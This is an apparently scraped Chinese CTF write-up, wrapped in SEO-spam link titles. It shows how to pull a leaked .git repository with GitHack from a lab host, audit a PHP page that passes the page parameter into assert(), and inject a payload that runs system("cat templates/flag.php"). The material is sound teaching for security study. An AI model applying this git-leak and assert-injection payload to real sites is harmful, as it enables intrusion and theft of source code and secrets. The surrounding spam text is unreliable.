当前位置: 首页 > news >正文

企业网站城市分站系统沈阳今天刚刚发生的新闻

企业网站城市分站系统,沈阳今天刚刚发生的新闻,wordpress滑动验证码,网站建设测试流程Home界面: Home界面翻译如下: 欢迎访问我的网站! 我自己从头开始写的! 您可以使用上面的链接浏览页面! About界面: 观察到Git,联想Git泄露 Git泄露 Git是一个非常流行的开源分布式版本控制系…

Home界面:

在这里插入图片描述
Home界面翻译如下:
欢迎访问我的网站!
我自己从头开始写的!
您可以使用上面的链接浏览页面!


About界面:

在这里插入图片描述
观察到Git,联想Git泄露

Git泄露

Git是一个非常流行的开源分布式版本控制系统,它被广泛用于协同开发和代码管理。许多网站和应用程序都使用Git作为其代码管理系统,并将其部署到生产环境中以维护其代码库。

然而,在配置不当的情况下,可能会导致.git文件夹被直接部署到线上环境中,这可能会导致Git泄露问题。
此时可使用githack等工具下载站点存储库的整个代码历史记录和配置信息。

漏洞利用

通过枚举工具或搜索引擎来查找带有.git文件夹的存储库,以获取包含未加密密码、凭据和敏感信息的站点代码库。
如GET/.git以确认是否存在git泄露

查看是否存在Git漏洞

Payload:/.git

在这里插入图片描述
由上图,存在Git漏洞。

下载泄漏文件

利用python的githacker库下载泄露文件


GitHack的安装本文不再赘述
详情参考: [Python/网络安全] Git漏洞之Githack工具基本安装及使用详析


打开Githack,输入Payload:
python GitHack.py http://61.147.171.105:61017/.git
得到文件
在这里插入图片描述

代码审计

其中,index.php文件存在以下代码:

<?phpif (isset($_GET['page'])) {$page = $_GET['page'];
} else {$page = "home";
}
//传入page参数,如果没有,则设置为home$file = "templates/" . $page . ".php";
//将page参数拼接成一个templates下的php文件,设置为变量file// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
//判断file中是否有 ..  如果有则直接退出 这是为了防止目录遍历
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!")
//检查指定的文件是否存在。如果文件不存在,将抛出另一个断言错误并停止脚本的执行。
?>

姿势

由于该代码仅对目录遍历进行防范,因此可构造POC,执行系统命令。

由于下载得到的文件中,templates目录路径下含有flag.php,故应读取该文件中内容
在这里插入图片描述

构造POC如下:

?page=qiu or system("cat templates/flag.php");

由于qiu参数不存在,page=qiu返回false 可利用or执行system函数

同时观察到该行代码:

assert("strpos('参数', '..') === false")

如果将上面的POC传入,则变为

assert("strpos('qiu or system("cat templates/flag.php");', '..') === false") 

qiu未被括号闭合,该语句注入不成功

重新构造POC如下:

?page=qiu') or system("cat templates/flag.php");

则语句变为:

assert("strpos('qiu') or system("cat templates/flag.php");', '..') === false") 

再用//将后面的语句注释掉即可

构造POC如下:

?page=qiu') or system("cat templates/flag.php");//

则语句变为:

assert("strpos('qiu') or system("cat templates/flag.php");//', '..') === false") 

最后的语句如下:

assert("strpos('qiu') or system("cat templates/flag.php");

即可实现命令的成功执行:

在这里插入图片描述

总结

该题考察Git泄露之存储库读取姿势代码审计命令执行,读者可躬身实践。

http://www.ds6.com.cn/news/120460.html

相关文章:

  • 做自媒体网站青岛网络推广公司哪家好
  • 夜场网站建设兰州seo技术优化排名公司
  • 滨湖网站建设网站优化排名易下拉软件
  • 怎做网站十大外贸电商平台
  • 广东建设厅网站最新的网络营销方式
  • cvm服务器做网站文件关键词搜索工具
  • 网站开发技术说明文档网站开发的基本流程
  • 做网站可以找设计公司吗石家庄疫情防控最新政策
  • 长春建站模板搭建一键关键词优化
  • 西安网站建设网站建设推推蛙seo
  • 了解网站开发的背景长沙网站包年优化
  • 找网络公司做网站要注意这4个细节深圳百度网站排名优化
  • 网站开发的售后 维保网页制作教程视频
  • 百度网站怎么做的百度大搜推广开户
  • 系统建站百度权重排名
  • 环保主题的网站模板中国企业网络营销现状
  • 学校网站建设汇报ppt百度游戏app下载
  • wordpress分类树网站排名优化培训哪家好
  • 宁波网站建设用什么软件网络科技有限公司
  • 北京网站建设签约珠海网站建设优化
  • 做网站免费吗张家港seo建站
  • 洛阳建设信息网站全国疫情的最新数据
  • 建设导航网站费用吗关键词推广和定向推广
  • 东莞网站建设牛魔网a新品牌推广策划方案
  • 网站建设素材网站恶意点击软件
  • 搬家优化师是做什么的
  • 做ppt配图好用的网站著名的营销成功的案例
  • nodejs做视频网站互联网公司
  • wdcp上传网站广告代理公司
  • 跨境电商平台规则windows优化大师是哪个公司的